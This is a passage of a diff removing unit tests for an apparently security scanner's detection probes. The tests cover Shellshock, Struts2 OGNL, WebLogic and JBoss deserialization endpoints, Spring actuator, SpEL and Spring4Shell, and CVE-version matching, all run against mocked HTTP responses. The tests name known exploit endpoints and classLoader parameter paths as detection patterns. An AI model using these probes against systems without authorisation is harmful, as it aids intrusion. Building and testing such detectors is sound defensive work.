' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_ssti("1.2.3.4", 4300) - - findings = result.get("findings", []) - self.assertEqual(len(findings), 0, f"Should NOT fire when '5183' already in baseline. Got: {[f['title'] for f in findings]}") - - # ── Shellshock via document root CGI paths ─────────────────────── - - def test_shellshock_via_victim_cgi(self): - """Shellshock probe should detect CVE-2014-6271 via /victim.cgi path.""" - _, worker = self._build_worker(ports=[6600]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - headers = kwargs.get("headers", {}) - if "/victim.cgi" in url and "REDMESH_SHELLSHOCK_DETECT" in headers.get("User-Agent", ""): - resp.text = "\nREDMESH_SHELLSHOCK_DETECT\n" - else: - resp.status_code = 404 - resp.text = "Not Found" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_shellshock("1.2.3.4", 6600) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect Shellshock via /victim.cgi") - self.assertIn("CVE-2014-6271", findings[0]["title"]) - - # ── Dedup bug: _service_info_http_alt ────────────────────────────── - - def test_http_alt_no_duplicate_cves(self): - """_service_info_http_alt should NOT emit CVE findings (dedup fix).""" - _, worker = self._build_worker(ports=[8080]) - - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: - mock_inst = MagicMock() - mock_inst.recv.return_value = ( - b"HTTP/1.1 200 OK\r\n" - b"Server: Apache/2.4.25 (Debian)\r\n" - b"\r\n" - ).decode('utf-8').encode('utf-8') - mock_sock.return_value = mock_inst - result = worker._service_info_http_alt("1.2.3.4", 8080) - - findings = result.get("findings", []) - cve_findings = [f for f in findings if "CVE-" in f.get("title", "")] - self.assertEqual(len(cve_findings), 0, f"http_alt should NOT emit CVEs. Got: {[f['title'] for f in cve_findings]}") - # But server header should still be captured - self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") - - -class TestBatch4JavaGapFixes(unittest.TestCase): - """Tests for batch 4: Java application servers, Struts2, WebLogic, Spring.""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-batch4", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── CVE database: Struts2 ───────────────────────────────────────── - - def test_struts2_cve_2017_5638_match(self): - """CVE-2017-5638 should match Struts2 2.5.10.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("struts2", "2.5.10") - self.assertTrue(any("CVE-2017-5638" in f.title for f in findings)) - - def test_struts2_cve_2017_5638_patched(self): - """CVE-2017-5638 should NOT match Struts2 2.5.10.1.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("struts2", "2.5.10.1") - self.assertFalse(any("CVE-2017-5638" in f.title for f in findings)) - - def test_struts2_cve_2017_9805_match(self): - """CVE-2017-9805 should match Struts2 2.5.12.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("struts2", "2.5.12") - self.assertTrue(any("CVE-2017-9805" in f.title for f in findings)) - - def test_struts2_cve_2020_17530_match(self): - """CVE-2020-17530 should match Struts2 2.5.25.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("struts2", "2.5.25") - self.assertTrue(any("CVE-2020-17530" in f.title for f in findings)) - - def test_struts2_cve_2020_17530_patched(self): - """CVE-2020-17530 should NOT match Struts2 2.5.26.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("struts2", "2.5.26") - self.assertFalse(any("CVE-2020-17530" in f.title for f in findings)) - - # ── CVE database: WebLogic ──────────────────────────────────────── - - def test_weblogic_cve_2017_10271_match(self): - """CVE-2017-10271 should match WebLogic 10.3.6.0.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("weblogic", "10.3.6.0") - self.assertTrue(any("CVE-2017-10271" in f.title for f in findings)) - - def test_weblogic_cve_2020_14882_match(self): - """CVE-2020-14882 should match WebLogic 12.2.1.3.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("weblogic", "12.2.1.3") - self.assertTrue(any("CVE-2020-14882" in f.title for f in findings)) - - # ── CVE database: Tomcat ────────────────────────────────────────── - - def test_tomcat_cve_2020_1938_match(self): - """CVE-2020-1938 Ghostcat should match Tomcat 9.0.30.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("tomcat", "9.0.30") - self.assertTrue(any("CVE-2020-1938" in f.title for f in findings)) - - def test_tomcat_cve_2020_1938_patched(self): - """CVE-2020-1938 should NOT match Tomcat 9.0.31.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("tomcat", "9.0.31") - self.assertFalse(any("CVE-2020-1938" in f.title for f in findings)) - - # ── CVE database: JBoss ─────────────────────────────────────────── - - def test_jboss_cve_2017_12149_match(self): - """CVE-2017-12149 should match JBoss 6.0.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("jboss", "6.0") - self.assertTrue(any("CVE-2017-12149" in f.title for f in findings)) - - def test_jboss_cve_2017_12149_patched(self): - """CVE-2017-12149 should NOT match JBoss 7.0.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("jboss", "7.0") - self.assertFalse(any("CVE-2017-12149" in f.title for f in findings)) - - # ── CVE database: Spring ────────────────────────────────────────── - - def test_spring_cve_2022_22965_match(self): - """CVE-2022-22965 Spring4Shell should match Spring Framework 5.3.17.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("spring_framework", "5.3.17") - self.assertTrue(any("CVE-2022-22965" in f.title for f in findings)) - - def test_spring_cloud_cve_2022_22963_match(self): - """CVE-2022-22963 should match Spring Cloud Function 3.2.2.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("spring_cloud_function", "3.2.2") - self.assertTrue(any("CVE-2022-22963" in f.title for f in findings)) - - def test_spring_cloud_cve_2022_22963_patched(self): - """CVE-2022-22963 should NOT match Spring Cloud Function 3.2.3.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("spring_cloud_function", "3.2.3") - self.assertFalse(any("CVE-2022-22963" in f.title for f in findings)) - - # ── WebLogic detection probe ────────────────────────────────────── - - def test_weblogic_console_detected(self): - """Java servers probe should detect WebLogic via console page.""" - _, worker = self._build_worker(ports=[7102]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/console/login/LoginForm.jsp" in url: - resp.ok = True - resp.status_code = 200 - resp.text = 'WebLogic Server 10.3.6.0' - elif "/console/" in url: - resp.ok = True - resp.status_code = 200 - resp.text = 'WebLogic login page' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_servers("1.2.3.4", 7102) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("WebLogic" in t and "10.3.6.0" in t for t in titles), f"Should detect WebLogic 10.3.6.0. Got: {titles}") - self.assertTrue(any("CVE-2017-10271" in t for t in titles), f"Should find CVE-2017-10271. Got: {titles}") - self.assertTrue(any("console exposed" in t.lower() for t in titles), f"Should flag console exposure. Got: {titles}") - - # ── Tomcat detection probe ──────────────────────────────────────── - - def test_tomcat_detected_from_default_page(self): - """Java servers probe should detect Tomcat via default page.""" - _, worker = self._build_worker(ports=[7104]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if url.endswith(":7104"): - resp.ok = True - resp.status_code = 200 - resp.text = '

Apache Tomcat/9.0.30

' - resp.headers = {"Server": "Apache-Coyote/1.1"} - elif "/console/login/LoginForm.jsp" in url: - pass # 404 - elif "/manager/html" in url: - resp.status_code = 401 - resp.text = "Unauthorized" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_servers("1.2.3.4", 7104) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Tomcat" in t and "9.0.30" in t for t in titles), f"Should detect Tomcat 9.0.30. Got: {titles}") - self.assertTrue(any("CVE-2020-1938" in t for t in titles), f"Should find Ghostcat CVE. Got: {titles}") - - # ── JBoss detection probe ───────────────────────────────────────── - - def test_jboss_detected_from_header(self): - """Java servers probe should detect JBoss via X-Powered-By header.""" - _, worker = self._build_worker(ports=[7106]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "Welcome to JBoss" - resp.headers = {"X-Powered-By": "Servlet/3.0; JBossAS-6"} - if "/console/login/LoginForm.jsp" in url: - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - elif "/jmx-console/" in url: - resp.status_code = 200 - resp.text = "JMX Console" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_servers("1.2.3.4", 7106) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("JBoss" in t for t in titles), f"Should detect JBoss. Got: {titles}") - self.assertTrue(any("CVE-2017-12149" in t for t in titles), f"Should find JBoss deser CVE. Got: {titles}") - - # ── Spring detection probe ──────────────────────────────────────── - - def test_spring_detected_from_whitelabel(self): - """Java servers probe should detect Spring via Whitelabel Error Page.""" - _, worker = self._build_worker(ports=[7108]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "App home" - resp.headers = {} - if "/console/login/LoginForm.jsp" in url: - resp.ok = False - resp.status_code = 404 - resp.text = "" - elif "/nonexistent_" in url: - resp.status_code = 404 - resp.text = '

Whitelabel Error Page

' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_servers("1.2.3.4", 7108) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring. Got: {titles}") - - # ── OGNL injection probe ────────────────────────────────────────── - - def test_ognl_injection_s2_045_detected(self): - """OGNL probe should detect S2-045 via Content-Type header.""" - _, worker = self._build_worker(ports=[7100]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "" - headers = kwargs.get("headers", {}) - ct = headers.get("Content-Type", "") - if "167837218" in ct and ("/index.action" in url or url.endswith(":7100/")): - resp.text = "167837218" - else: - resp.text = "Normal page" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_ognl_injection("1.2.3.4", 7100) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect OGNL injection") - self.assertEqual(findings[0]["severity"], "CRITICAL") - self.assertIn("CVE-2017-5638", findings[0]["title"]) - - # ── Java deserialization probe ──────────────────────────────────── - - def test_weblogic_wlswsat_detected(self): - """Deserialization probe should detect wls-wsat endpoint.""" - _, worker = self._build_worker(ports=[7102]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/wls-wsat/CoordinatorPortType" in url: - resp.ok = True - resp.status_code = 200 - resp.text = 'CoordinatorPortType WSDL' - resp.headers = {"Content-Type": "text/xml"} - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_deserialization("1.2.3.4", 7102) - - findings = result.get("findings", []) - self.assertTrue(len(findings) > 0, "Should detect wls-wsat endpoint") - self.assertIn("CVE-2017-10271", findings[0]["title"]) - - def test_jboss_invoker_detected(self): - """Deserialization probe should detect JBoss /invoker/readonly.""" - _, worker = self._build_worker(ports=[7106]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/invoker/readonly" in url: - resp.status_code = 500 - resp.text = "Internal Server Error" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): - result = worker._web_test_java_deserialization("1.2.3.4", 7106) - - findings = result.get("findings", []) - self.assertTrue(any("CVE-2017-12149" in f["title"] for f in findings), f"Should detect JBoss invoker. Got: {[f['title'] for f in findings]}") - - # ── Spring Actuator probe ───────────────────────────────────────── - - def test_spring_actuator_env_detected(self): - """Spring actuator probe should detect exposed /actuator/env.""" - _, worker = self._build_worker(ports=[7108]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {"Content-Type": "text/html"} - if "/actuator/env" in url: - resp.ok = True - resp.status_code = 200 - resp.text = '{"propertySources":[{"name":"systemProperties"}]}' - resp.headers = {"Content-Type": "application/json"} - elif "/actuator/health" in url: - resp.ok = True - resp.status_code = 200 - resp.text = '{"status":"UP"}' - resp.headers = {"Content-Type": "application/json"} - elif "/actuator" in url and "/actuator/" not in url: - resp.ok = True - resp.status_code = 200 - resp.text = '{"_links":{"self":{"href":"/actuator"}}}' - resp.headers = {"Content-Type": "application/json"} - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_spring_actuator("1.2.3.4", 7108) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("actuator/env" in t.lower() for t in titles), f"Should detect /actuator/env. Got: {titles}") - - def test_spring_cloud_spel_injection_detected(self): - """Spring actuator probe should detect CVE-2022-22963 SpEL injection.""" - _, worker = self._build_worker(ports=[7109]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {"Content-Type": "text/html"} - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - if "/functionRouter" in url: - headers = kwargs.get("headers", {}) - if "routing-expression" in str(headers): - resp.status_code = 500 - resp.text = '{"error":"SpelEvaluationException: evaluation failed"}' - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_spring_actuator("1.2.3.4", 7109) - - findings = result.get("findings", []) - self.assertTrue(any("CVE-2022-22963" in f["title"] for f in findings), f"Should detect SpEL injection. Got: {[f['title'] for f in findings]}") - - # ── Gap fix: Struts2 detection via /struts/utils.js ───────────── - - def test_struts2_detected_from_utils_js(self): - """Struts2 should be detected via /struts/utils.js (REST showcase).""" - _, worker = self._build_worker(ports=[7101]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/console/login/LoginForm.jsp" in url: - pass # 404 - elif url.endswith(":7101") or url.endswith(":7101/"): - resp.ok = True - resp.status_code = 200 - resp.text = 'REST showcase' - resp.headers = {"Server": "Apache-Coyote/1.1"} - elif "/struts/utils.js" in url: - resp.ok = True - resp.status_code = 200 - resp.text = 'var StrutsUtils = {}; // Struts2 tag library utilities\n' * 5 - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_java_servers("1.2.3.4", 7101) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Struts2" in t for t in titles), f"Should detect Struts2 via utils.js. Got: {titles}") - - # ── Gap fix: Tomcat + Struts2 co-detection (no early return) ──── - - def test_tomcat_and_struts2_codetected(self): - """Tomcat detection should NOT prevent Struts2 detection.""" - _, worker = self._build_worker(ports=[7101]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/console/login/LoginForm.jsp" in url: - pass # 404 - elif "nonexistent_" in url: - resp.text = '

Apache Tomcat/8.5.33 - Error report

' - elif url.endswith(":7101") or url.endswith(":7101/"): - resp.ok = True - resp.status_code = 200 - resp.text = 'REST app' - resp.headers = {"Server": "Apache-Coyote/1.1"} - elif "/struts/utils.js" in url: - resp.ok = True - resp.status_code = 200 - resp.text = 'var StrutsUtils = {}; // Struts2 utilities\n' * 5 - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_java_servers("1.2.3.4", 7101) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") - self.assertTrue(any("Struts2" in t for t in titles), f"Should also detect Struts2. Got: {titles}") - - # ── Gap fix: Spring MVC via POST 405 ──────────────────────────── - - def test_spring_detected_from_post_405(self): - """Spring MVC should be detected via POST → 405 with Spring message.""" - _, worker = self._build_worker(ports=[7108]) - worker.state["scan_metadata"] = {} - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = False - resp.status_code = 404 - resp.text = "" - resp.headers = {} - if "/console/login/LoginForm.jsp" in url: - pass # 404 - elif "nonexistent_" in url: - resp.text = '

Apache Tomcat/8.5.77 - Error report

' - elif url.endswith(":7108") or url.endswith(":7108/"): - resp.ok = True - resp.status_code = 200 - resp.text = 'Hello, my name is , I am years old.' - resp.headers = {"Server": "Apache-Coyote/1.1"} - elif "/struts/utils.js" in url: - pass # 404 - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - if url.endswith(":7108") or url.endswith(":7108/"): - resp.status_code = 405 - resp.text = ("

HTTP Status 405 – Method Not Allowed

" - "

Message Request method 'POST' is not supported

" - "") - else: - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_java_servers("1.2.3.4", 7108) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") - self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring MVC via POST 405. Got: {titles}") - - # ── Gap fix: Spring4Shell with 400/500 second check ───────────── - - def test_spring4shell_detected_with_binding_error(self): - """Spring4Shell should be detected when URLs[0] returns 400 (type error).""" - _, worker = self._build_worker(ports=[7108]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "App" - resp.headers = {"Content-Type": "text/html"} - if "class.INVALID_RM_CTRL" in url: - resp.status_code = 400 # Spring rejects bogus class path - resp.text = "Bad Request" - elif "class.module.classLoader.DefaultAssertionStatus" in url: - resp.status_code = 200 # Spring accepted classLoader binding - elif "class.module.classLoader.URLs" in url: - resp.status_code = 400 # Type conversion error — binding attempted - resp.text = "Bad Request" - elif "/actuator" in url: - resp.status_code = 404 - resp.ok = False - resp.text = "" - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_spring_actuator("1.2.3.4", 7108) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") - - -class TestBatch5Improvements(unittest.TestCase): - """Tests for batch 5: Spring4Shell secondary gate, CVE dedup.""" - - def setUp(self): - if MANUAL_RUN: - print() - color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') - - def _build_worker(self, ports=None): - if ports is None: - ports = [80] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-batch5", - initiator="init@example", - local_id_prefix="1", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ── Spring4Shell secondary gate ───────────────────────────────── - - def test_spring4shell_secondary_gate_detects_spring(self): - """Spring4Shell should be detected via URLs[0] secondary check when - DefaultAssertionStatus returns same 200 as control.""" - _, worker = self._build_worker(ports=[7108]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "App" - resp.headers = {"Content-Type": "text/html"} - # Both control and classLoader return 200 with same body (first gate can't distinguish) - if "class.INVALID_RM_CTRL.URLs" in url: - # Control URLs[0] → 200 (server ignores it) - resp.status_code = 200 - resp.text = "App" - elif "class.module.classLoader.URLs" in url: - # Spring binding error on URLs[0] → 400 - resp.status_code = 400 - resp.text = "Bad Request" - elif "class.INVALID_RM_CTRL" in url: - resp.status_code = 200 - resp.text = "App" - elif "class.module.classLoader.DefaultAssertionStatus" in url: - resp.status_code = 200 - resp.text = "App" - elif "/actuator" in url: - resp.status_code = 404 - resp.ok = False - resp.text = "" - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_spring_actuator("1.2.3.4", 7108) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertTrue(any("Spring4Shell" in t for t in titles), - f"Should detect Spring4Shell via URLs[0] secondary gate. Got: {titles}") - # Check confidence is "firm" (not tentative) - spring4shell = [f for f in findings if "Spring4Shell" in f["title"]] - self.assertEqual(spring4shell[0]["confidence"], "firm") - - def test_spring4shell_secondary_gate_skips_catchall(self): - """Spring4Shell secondary gate should NOT flag catch-all servers - where both classLoader.URLs[0] and control.URLs[0] return 200.""" - _, worker = self._build_worker(ports=[7100]) - - def fake_get(url, **kwargs): - resp = MagicMock() - resp.ok = True - resp.status_code = 200 - resp.text = "Default page" - resp.headers = {"Content-Type": "text/html"} - # Catch-all: returns 200 for everything - if "/actuator" in url: - resp.status_code = 404 - resp.ok = False - resp.text = "" - return resp - - def fake_post(url, **kwargs): - resp = MagicMock() - resp.status_code = 404 - resp.text = "" - return resp - - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): - result = worker._web_test_spring_actuator("1.2.3.4", 7100) - - findings = result.get("findings", []) - titles = [f["title"] for f in findings] - self.assertFalse(any("Spring4Shell" in t for t in titles), - f"Should NOT flag Spring4Shell on catch-all server. Got: {titles}") - - # ── CVE deduplication ─────────────────────────────────────────── - - def _get_plugin_class(self): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' not in sys.modules: - TestPhase1ConfigCID._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def test_cve_dedup_keeps_higher_confidence(self): - """Duplicate CVE on same port should be deduplicated, keeping higher confidence.""" - Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [7102], - "port_protocols": {"7102": "http"}, - "service_info": {}, - "web_tests_info": { - "7102": { - "_web_test_java_deserialization": { - "findings": [{ - "severity": "CRITICAL", - "title": "CVE-2017-10271: WebLogic deserialization endpoint /wls-wsat", - "confidence": "firm", - "cwe_id": "CWE-502", - }], - }, - "_web_test_java_servers": { - "findings": [{ - "severity": "CRITICAL", - "title": "CVE-2017-10271: XMLDecoder deserialization RCE via wls-wsat (weblogic 10.3.6.0)", - "confidence": "tentative", - "cwe_id": "CWE-502", - }], - }, - }, - }, - } - - risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) - - cve_findings = [f for f in flat_findings if "CVE-2017-10271" in f.get("title", "")] - self.assertEqual(len(cve_findings), 1, f"Should have exactly 1 CVE-2017-10271, got {len(cve_findings)}") - self.assertEqual(cve_findings[0]["confidence"], "firm", "Should keep the 'firm' confidence finding") - - def test_cve_dedup_different_ports_kept(self): - """Same CVE on different ports should NOT be deduplicated.""" - Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [7102, 7103], - "port_protocols": {"7102": "http", "7103": "http"}, - "service_info": {}, - "web_tests_info": { - "7102": { - "_web_test_java_servers": { - "findings": [{ - "severity": "CRITICAL", - "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 10.3.6.0)", - "confidence": "tentative", - "cwe_id": "CWE-306", - }], - }, - }, - "7103": { - "_web_test_java_servers": { - "findings": [{ - "severity": "CRITICAL", - "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 12.2.1.3)", - "confidence": "tentative", - "cwe_id": "CWE-306", - }], - }, - }, - }, - } - - risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) - - cve_findings = [f for f in flat_findings if "CVE-2020-14882" in f.get("title", "")] - self.assertEqual(len(cve_findings), 2, f"Same CVE on different ports should both be kept, got {len(cve_findings)}") - - def test_cve_dedup_non_cve_not_affected(self): - """Non-CVE findings should not be affected by deduplication.""" - Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [80], - "port_protocols": {"80": "http"}, - "service_info": {}, - "web_tests_info": { - "80": { - "_web_test_security_headers": { - "findings": [ - {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, - {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, - ], - }, - }, - }, - } - - risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) - - # Non-CVE duplicates are NOT deduplicated (that's a different issue) - csp_findings = [f for f in flat_findings if "CSP" in f.get("title", "")] - self.assertEqual(len(csp_findings), 2, "Non-CVE findings should not be deduplicated") - - # ── Jetty CVE database ───────────────────────────────────────── - - def test_jetty_cve_2023_36478_match(self): - """CVE-2023-36478 should match Jetty 9.4.31.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("jetty", "9.4.31") - self.assertTrue(any("CVE-2023-36478" in f.title for f in findings)) - - def test_jetty_cve_2023_36478_patched(self): - """CVE-2023-36478 should NOT match Jetty 9.4.54.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("jetty", "9.4.54") - self.assertFalse(any("CVE-2023-36478" in f.title for f in findings)) - - def test_jetty_all_cves_match(self): - """Jetty 9.4.31 should match all 4 Jetty CVEs.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("jetty", "9.4.31") - cve_ids = {f.title.split(":")[0] for f in findings if "CVE-" in f.title} - expected = {"CVE-2023-26048", "CVE-2023-26049", "CVE-2023-36478", "CVE-2023-40167"} - self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") - - class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -7431,20 +2582,4 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCorrelationEngine)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch5Improvements)) 